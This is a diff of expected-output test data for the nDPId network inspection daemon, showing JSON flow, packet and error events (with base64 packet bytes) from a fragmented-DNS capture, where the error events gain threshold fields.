01017{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968010233766,"flow_src_last_pkt_time":1558968010233766,"flow_dst_last_pkt_time":1558968010233766,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":58,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":58,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":58,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968010233766,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c03::10a","dst_ip":"2001:470:765b::a25:53","src_port":46433,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"pa.weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02479{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_src_last_pkt_time":1558968010233766,"flow_dst_last_pkt_time":1558968010234445,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1510,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":1510,"pkt_l4_len":1448,"thread_ts_usec":1558968010234445,"pkt":"AIac51UUAAwpil3Xht1gB4f9BbAsQCABBHB2WwAAAAAAAAolAFMqABRQQBMMAwAAAAAAAAEKEQAAAShAPAsANbVhBeUUjunEhBAAAQACAAMACQJwYQh3ZWJlcmxhYgJkZQAAHAABwAwAHAABAAAAPAAQIAEEcB8LECQAAAAAAAAAAsAMAC4AAQAAADwBHwAcCgMAAAA8XQZZ\/FzevuyQRwh3ZWJlcmxhYgJkZQC1pnXN9aJB47xcEl0t+RyJPr\/p+1OSRyBEPleyPVcVG13SY1au\/jvJTdnRA4lySA7r3bi4LlJCEattffR4fjevK4f+NrGd0s5mJ+PRg85+C1QnHQmbvL9v+MI2zPL2z8n5PSX3Yf1y4VNvPCJ7YmzWzkyABQys7VcUh58r0Vf2MDfcX+p\/oqdfN5wH3piEMrifXVk3S1jvEgqm3k\/0jIc5bfsXYFPDiziLSsKruSCkr5Ydv6DPypeAQh8lSdezjVxYVAOnbrtC88Q7QQ04+1dWXmZGW9cG+PBKFrFDsPDKsCvsJ0ggc3+bJXpyZZ0SaqfH4Zgi8NjO\/iMCsrSxLkS9wFoAAgABAAAAPAAPA25zMgh3ZWJlcmRuc8BjwFoAAgABAAAAPAAGA25zMcF3wFoALgABAAAAPAEfAAIKAgAAADxdCgDsXOJvNZBHCHdlYmVybGFiAmRlAHSoxNqqAKym4hw9iI9\/cGB9AOyri1gZ9PRCVa3kokohNFwwgJZHh\/GYLEe5aVQ16NDPaZsaEDNFKVzAqyIPhTpD66im4JiAdIma3+zQ6MM9+50XgE4zD34pXPziEN3\/hpyx0OsRaMDdi+fLJ+VSFGsK+dEf7olAlTzREwS8gAhMxbir6bK5GyMP0HpB+N56qoJQqvHlvC11N4HQ1PiAfHGM\/e0cnoTP4HtNoJs4zlO01ipMUjuZ2yl3aHqydGgSm9jswrVneievkN6cP9\/osHneUEe3pq+Na767DBQ6GotyiL0ifYjqRt+tp11FZgz+RwhCI599k5mxFSecocr80szBjgAcAAEAAA4QABAgAQRwdlsAAAAAAAAKJQBTwXMAHAABAAAOEAAQIAEEcB8LFrAAAAAACiYAU8GOAAEAAQAADhAABMEY4+7BcwABAAEAAA4QAATC9wUOwY4ALgABAAAOEACfAAEIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlALFKzqMjh9BzTzk7te1fsFGook8hWPtH0Dh2qeLmkPiC00JY45Dj2PARXv44katX35tAeXg4ix8QZs+c1GIcPatTaDXZe6J7CgZjoERP+ecNOmJ3vNLtj8s3UGq5X1b66ao4qdZN6E8DXjYpPWxeaD+6KZd7ytQjBmRNzONHV4CNwY4ALgABAAAOEACfABwIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlAEEPt\/jvpNYZTaxUf\/hq3Z6tUps6XBA9Yu325Bwy3LukMjtOntkxZ48rvFNij79Ioq3EbGxCb4PD0EVLtA5lKR6U69jYrdbsh11ahmIq4c0voBJAKVJkpfioqYTXkZCppD5DWEnFc7+3dmCZtR6n7cdLRMGXeU0ee7boqf+ntG0ywXMALgABAAAOEACfAAEIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlAAdbeEFbg2lg4i3rnV+6yQt2VeYizGmT\/rDt7rXbe9Gvg0bs7cCzKvh3nLNc7lfkw3Toxu3h2m\/NqvAJNkxLRmrtfxw68cyy4lkHhL2NLL3Y19jvp2qm25mZVgwcJylB9Dlvk0ReqgeiL8E1GyKZ+bYJb4PW+X45ewaJrdYFgGv4wXMALgABAAAOEACfABwIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlALY71RRfBids18YMqfb3pDV95vjCv9gQTwdXg7KIz9hcjsWC4LdX4rCK4Rics7xQ5QaBNODVJNd5alz0R5hMDerxbEpzVvoggNs6EwCYRezdSpP5C3DJFx6i88C2SQ=="} 01036{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1558968010233766,"flow_src_last_pkt_time":1558968010233766,"flow_dst_last_pkt_time":1558968010234445,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":58,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":58,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":58,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1558968010234445,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c03::10a","dst_ip":"2001:470:765b::a25:53","src_port":46433,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"pa.weberlab.de","dns": {"num_queries":1,"num_answers":14,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"32.1.4.112"}}} -00212{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"packet_id":6,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":89,"global_ts_usec":1558968010234463} +00312{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1558968010234463,"packet_id":6,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":89,"global_ts_usec":1558968010234463} 00446{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":123,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"thread_ts_usec":1558968010234445,"pkt":"AIac51UUAAwpil3Xht1gB4f9AEUsQCABBHB2WwAAAAAAAAolAFMqABRQQBMMAwAAAAAAAAEKEQAFqChAPAtderZqHOphjXllMk8sHswGkSaaDoR\/AL9bqSnISQXKcnns5gAAKRAAAACAAAAPAAgACwACOAAgAQRwHwsW"} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968018074594,"flow_src_last_pkt_time":1558968018074594,"flow_dst_last_pkt_time":1558968018074594,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968018074594,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c06::105","dst_ip":"2001:470:765b::a25:53","src_port":63369,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00608{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1558968018074594,"flow_dst_last_pkt_time":1558968018074594,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":121,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":121,"pkt_l4_len":67,"thread_ts_usec":1558968018074594,"pkt":"AAwpil3XAIac51UUht1gCQGuAEMRayoAFFBAEwwGAAAAAAAAAQUgAQRwdlsAAAAAAAAKJQBT94kANQBDODsKMgAQAAEAAAAAAAEDZmcyCHdlYmVybGFiAmRlAAABAAEAACkQAAAAgAAADwAIAAsAAjgAIAEEcB8LFg=="} 01017{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968018074594,"flow_src_last_pkt_time":1558968018074594,"flow_dst_last_pkt_time":1558968018074594,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968018074594,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c06::105","dst_ip":"2001:470:765b::a25:53","src_port":63369,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"fg2.weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_src_last_pkt_time":1558968018074594,"flow_dst_last_pkt_time":1558968018075178,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1510,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":1510,"pkt_l4_len":1448,"thread_ts_usec":1558968018075178,"pkt":"AIac51UUAAwpil3Xht1gAmIVBbAsQCABBHB2WwAAAAAAAAolAFMqABRQQBMMBgAAAAAAAAEFEQAAASR\/DLMANfeJBdraSAoyhBAAAQACAAMACQNmZzIId2ViZXJsYWICZGUAAAEAAcAMAAEAAQAAADwABML3BArADAAuAAEAAAA8AR8AAQoDAAAAPF0J+51c4m0NkEcId2ViZXJsYWICZGUATmqKLyXYlD7oC1wjnJdPzxr55pJoGn6h+biEYxUlvjgkAKYGVr2OkUzNi9dPZZCT1\/wXWro5BadVhTNlYhGA9J99DHUUB5NEITFfyeoCqRwORKOIN8F3N4260XT5uRwPgDtpnX9J6IRQN3Hg639ASVUfreGkxN2At0j1oxD21UcoFDfwz5Fn7owm5vE3RP6EyTqHCPkRSCJvvZO+Lb6nyRwRS\/BgbrTAjIDB9gxMtXs7GIKlm\/T21iqqa\/CM0K3y9nYSv2Mbgyh+nhDaTp4WmMKZfRzP6DKGL+Myx7893ekGgWnaQNeZGzB3BTQVSEJFLULyYavsqtvSpVIspLF1IcBPAAIAAQAAADwADwNuczIId2ViZXJkbnPAWMBPAAIAAQAAADwABgNuczHBbMBPAC4AAQAAADwBHwACCgIAAAA8XQoA7FzibzWQRwh3ZWJlcmxhYgJkZQB0qMTaqgCspuIcPYiPf3BgfQDsq4tYGfT0QlWt5KJKITRcMICWR4fxmCxHuWlUNejQz2mbGhAzRSlcwKsiD4U6Q+uopuCYgHSJmt\/s0OjDPfudF4BOMw9+KVz84hDd\/4acsdDrEWjA3YvnyyflUhRrCvnRH+6JQJU80RMEvIAITMW4q+myuRsjD9B6QfjeeqqCUKrx5bwtdTeB0NT4gHxxjP3tHJ6Ez+B7TaCbOM5TtNYqTFI7mdspd2h6snRoEpvY7MK1Z3onr5DenD\/f6LB53lBHt6avjWu+uwwUOhqLcoi9In2I6kbfraddRWYM\/kcIQiOffZOZsRUnnKHK\/NLMwYMAHAABAAAOEAAQIAEEcHZbAAAAAAAACiUAU8FoABwAAQAADhAAECABBHAfCxawAAAAAAomAFPBgwABAAEAAA4QAATBGOPuwWgAAQABAAAOEAAEwvcFDsGDAC4AAQAADhAAnwABCAMAAA4QXQoqqlzij64w8Ah3ZWJlcmRucwJkZQCxSs6jI4fQc085O7XtX7BRqKJPIVj7R9A4dqni5pD4gtNCWOOQ49jwEV7+OJGrV9+bQHl4OIsfEGbPnNRiHD2rU2g12XuiewoGY6BET\/nnDTpid7zS7Y\/LN1BquV9W+umqOKnWTehPA142KT1sXmg\/uimXe8rUIwZkTczjR1eAjcGDAC4AAQAADhAAnwAcCAMAAA4QXQoqqlzij64w8Ah3ZWJlcmRucwJkZQBBD7f476TWGU2sVH\/4at2erVKbOlwQPWLt9uQcMty7pDI7Tp7ZMWePK7xTYo+\/SKKtxGxsQm+Dw9BFS7QOZSkelOvY2K3W7IddWoZiKuHNL6ASQClSZKX4qKmE15GQqaQ+Q1hJxXO\/t3ZgmbUep+3HS0TBl3lNHnu26Kn\/p7RtMsFoAC4AAQAADhAAnwABCAMAAA4QXQoqqlzij64w8Ah3ZWJlcmRucwJkZQAHW3hBW4NpYOIt651fuskLdlXmIsxpk\/6w7e6123vRr4NG7O3Asyr4d5yzXO5X5MN06Mbt4dpvzarwCTZMS0Zq7X8cOvHMsuJZB4S9jSy92NfY76dqptuZmVYMHCcpQfQ5b5NEXqoHoi\/BNRsimfm2CW+D1vl+OXsGia3WBYBr+MFoAC4AAQAADhAAnwAcCAMAAA4QXQoqqlzij64w8Ah3ZWJlcmRucwJkZQC2O9UUXwYnbNfGDKn296Q1feb4wr\/YEE8HV4OyiM\/YXI7FguC3V+KwiuEYnLO8UOUGgTTg1STXeWpc9EeYTA3q8WxKc1b6IIDbOhMAmEXs3UqT+QtwyRceovPAtklderZqHOphjXllMg=="} 01037{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1558968018074594,"flow_src_last_pkt_time":1558968018074594,"flow_dst_last_pkt_time":1558968018075178,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1558968018075178,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c06::105","dst_ip":"2001:470:765b::a25:53","src_port":63369,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"fg2.weberlab.de","dns": {"num_queries":1,"num_answers":14,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"194.247.4.10"}}} -00212{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"packet_id":9,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":78,"global_ts_usec":1558968018075197} +00312{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1558968018075197,"packet_id":9,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":78,"global_ts_usec":1558968018075197} 00435{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":112,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"thread_ts_usec":1558968018075178,"pkt":"AIac51UUAAwpil3Xht1gAmIVADosQCABBHB2WwAAAAAAAAolAFMqABRQQBMMBgAAAAAAAAEFEQAFqCR\/DLNPLB7MBpEmmg6EfwC\/W6kpyEkFynJ57OYAACkQAAAAgAAADwAIAAsAAjgAIAEEcB8LFg=="} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968019069107,"flow_src_last_pkt_time":1558968019069107,"flow_dst_last_pkt_time":1558968019069107,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968019069107,"l3_proto":"ip4","src_ip":"173.194.169.104","dst_ip":"193.24.227.238","src_port":59464,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00580{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1558968019069107,"flow_dst_last_pkt_time":1558968019069107,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"thread_ts_usec":1558968019069107,"pkt":"AAwpil3XAIac51UUCABFAABXnz0AAGwRsyatwqlowRjj7uhIADUAQ+SwoX0AEAABAAAAAAABA2ZnMgh3ZWJlcmxhYgJkZQAAAQABAAApEAAAAIAAAA8ACAALAAI4ACABBHAfCxY="} 01009{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968019069107,"flow_src_last_pkt_time":1558968019069107,"flow_dst_last_pkt_time":1558968019069107,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968019069107,"l3_proto":"ip4","src_ip":"173.194.169.104","dst_ip":"193.24.227.238","src_port":59464,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"fg2.weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_src_last_pkt_time":1558968019069107,"flow_dst_last_pkt_time":1558968019069715,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":1558968019069715,"pkt":"AIac51UUAAwpil3XCABFAAXc4hEgAEARds3BGOPurcKpaAA16EgF2oW\/oX2EEAABAAIAAwAJA2ZnMgh3ZWJlcmxhYgJkZQAAAQABwAwAAQABAAAAPAAEwvcECsAMAC4AAQAAADwBHwABCgMAAAA8XQn7nVzibQ2QRwh3ZWJlcmxhYgJkZQBOaoovJdiUPugLXCOcl0\/PGvnmkmgafqH5uIRjFSW+OCQApgZWvY6RTM2L109lkJPX\/BdaujkFp1WFM2ViEYD0n30MdRQHk0QhMV\/J6gKpHA5Eo4g3wXc3jbrRdPm5HA+AO2mdf0nohFA3ceDrf0BJVR+t4aTE3YC3SPWjEPbVRygUN\/DPkWfujCbm8TdE\/oTJOocI+RFIIm+9k74tvqfJHBFL8GButMCMgMH2DEy1ezsYgqWb9PbWKqpr8IzQrfL2dhK\/YxuDKH6eENpOnhaYwpl9HM\/oMoYv4zLHvz3d6QaBadpA15kbMHcFNBVIQkUtQvJhq+yq29KlUiyksXUhwE8AAgABAAAAPAAPA25zMQh3ZWJlcmRuc8BYwE8AAgABAAAAPAAGA25zMsFswE8ALgABAAAAPAEfAAIKAgAAADxdCgDsXOJvNZBHCHdlYmVybGFiAmRlAHSoxNqqAKym4hw9iI9\/cGB9AOyri1gZ9PRCVa3kokohNFwwgJZHh\/GYLEe5aVQ16NDPaZsaEDNFKVzAqyIPhTpD66im4JiAdIma3+zQ6MM9+50XgE4zD34pXPziEN3\/hpyx0OsRaMDdi+fLJ+VSFGsK+dEf7olAlTzREwS8gAhMxbir6bK5GyMP0HpB+N56qoJQqvHlvC11N4HQ1PiAfHGM\/e0cnoTP4HtNoJs4zlO01ipMUjuZ2yl3aHqydGgSm9jswrVneievkN6cP9\/osHneUEe3pq+Na767DBQ6GotyiL0ifYjqRt+tp11FZgz+RwhCI599k5mxFSecocr80szBaAABAAEAAA4QAATBGOPuwYMAAQABAAAOEAAEwvcFDsFoABwAAQAADhAAECABBHB2WwAAAAAAAAolAFPBgwAcAAEAAA4QABAgAQRwHwsWsAAAAAAKJgBTwWgALgABAAAOEACfAAEIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlALFKzqMjh9BzTzk7te1fsFGook8hWPtH0Dh2qeLmkPiC00JY45Dj2PARXv44katX35tAeXg4ix8QZs+c1GIcPatTaDXZe6J7CgZjoERP+ecNOmJ3vNLtj8s3UGq5X1b66ao4qdZN6E8DXjYpPWxeaD+6KZd7ytQjBmRNzONHV4CNwWgALgABAAAOEACfABwIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlAEEPt\/jvpNYZTaxUf\/hq3Z6tUps6XBA9Yu325Bwy3LukMjtOntkxZ48rvFNij79Ioq3EbGxCb4PD0EVLtA5lKR6U69jYrdbsh11ahmIq4c0voBJAKVJkpfioqYTXkZCppD5DWEnFc7+3dmCZtR6n7cdLRMGXeU0ee7boqf+ntG0ywYMALgABAAAOEACfAAEIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlAAdbeEFbg2lg4i3rnV+6yQt2VeYizGmT\/rDt7rXbe9Gvg0bs7cCzKvh3nLNc7lfkw3Toxu3h2m\/NqvAJNkxLRmrtfxw68cyy4lkHhL2NLL3Y19jvp2qm25mZVgwcJylB9Dlvk0ReqgeiL8E1GyKZ+bYJb4PW+X45ewaJrdYFgGv4wYMALgABAAAOEACfABwIAwAADhBdCiqqXOKPrjDwCHdlYmVyZG5zAmRlALY71RRfBids18YMqfb3pDV95vjCv9gQTwdXg7KIz9hcjsWC4LdX4rCK4Rics7xQ5QaBNODVJNd5alz0R5hMDerxbEpzVvoggNs6EwCYRezdSpP5C3DJFx6i88C2SV16tmoc6mGNeWUyTywezAaRJpoOhH8Av1upKchJBcpyeezmAAApEAAAAIA="} 01029{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1558968019069107,"flow_src_last_pkt_time":1558968019069107,"flow_dst_last_pkt_time":1558968019069715,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":1472,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":1472,"midstream":0,"thread_ts_usec":1558968019069715,"l3_proto":"ip4","src_ip":"173.194.169.104","dst_ip":"193.24.227.238","src_port":59464,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"fg2.weberlab.de","dns": {"num_queries":1,"num_answers":14,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"194.247.4.10"}}} -00212{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":12,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":18,"global_ts_usec":1558968019069732} +00312{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1558968019069732,"packet_id":12,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":18,"global_ts_usec":1558968019069732} 00351{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"thread_ts_usec":1558968019069715,"pkt":"AIac51UUAAwpil3XCABFAAAm4hEAuUARm8rBGOPurcKpaAAADwAIAAsAAjgAIAEEcB8LFg=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968021013672,"flow_src_last_pkt_time":1558968021013672,"flow_dst_last_pkt_time":1558968021013672,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968021013672,"l3_proto":"ip6","src_ip":"2a00:1450:400c:c00::106","dst_ip":"2001:470:765b::a25:53","src_port":54430,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00610{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":1558968021013672,"flow_dst_last_pkt_time":1558968021013672,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":121,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":121,"pkt_l4_len":67,"thread_ts_usec":1558968021013672,"pkt":"AAwpil3XAIac51UUht1gBi\/8AEMRayoAFFBADAwAAAAAAAAAAQYgAQRwdlsAAAAAAAAKJQBT1J4ANQBDpiukOAAQAAEAAAAAAAEDZmcyCHdlYmVybGFiAmRlAAAcAAEAACkQAAAAgAAADwAIAAsAAjgAIAEEcB8LFg=="} @@ -38,7 +38,7 @@ 01004{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968021026749,"flow_src_last_pkt_time":1558968021026749,"flow_dst_last_pkt_time":1558968021026749,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968021026749,"l3_proto":"ip4","src_ip":"74.125.47.136","dst_ip":"193.24.227.238","src_port":59330,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":48,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02500{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_src_last_pkt_time":1558968021026749,"flow_dst_last_pkt_time":1558968021027012,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":1558968021027012,"pkt":"AIac51UUAAwpil3XCABFAAXciTwgAEARrMjBGOPuSn0viAA158IGrsPBFaiEEAABAAQAAAABCHdlYmVybGFiAmRlAAAwAAHADAAwAAEAAAA8AQgBAAMKAwEAAdBU3CjxUKw7SeYza7cxyq\/Xg3znVQsMzuF\/UeLaigOubtJHhxhL+m129IxQkTKo8JRIXcKXD+aViztiml8+8BPCXFNPftFpdFCzBRNGHj\/ca1g\/Flck6v5avafB\/hGqbWKY2LEGKb5ktYWGj8JB0mrKGqDZVPyieC0dYVv02iOaOvUhdl7QtgVybR3V6gHlhoG0BxG+GbjUp+NyPClbuMOIwflbVGB5946PyQGQgnGNX2L1MHumOaYC\/D3UnyzQZNMmqj85GwDNPwEeDfL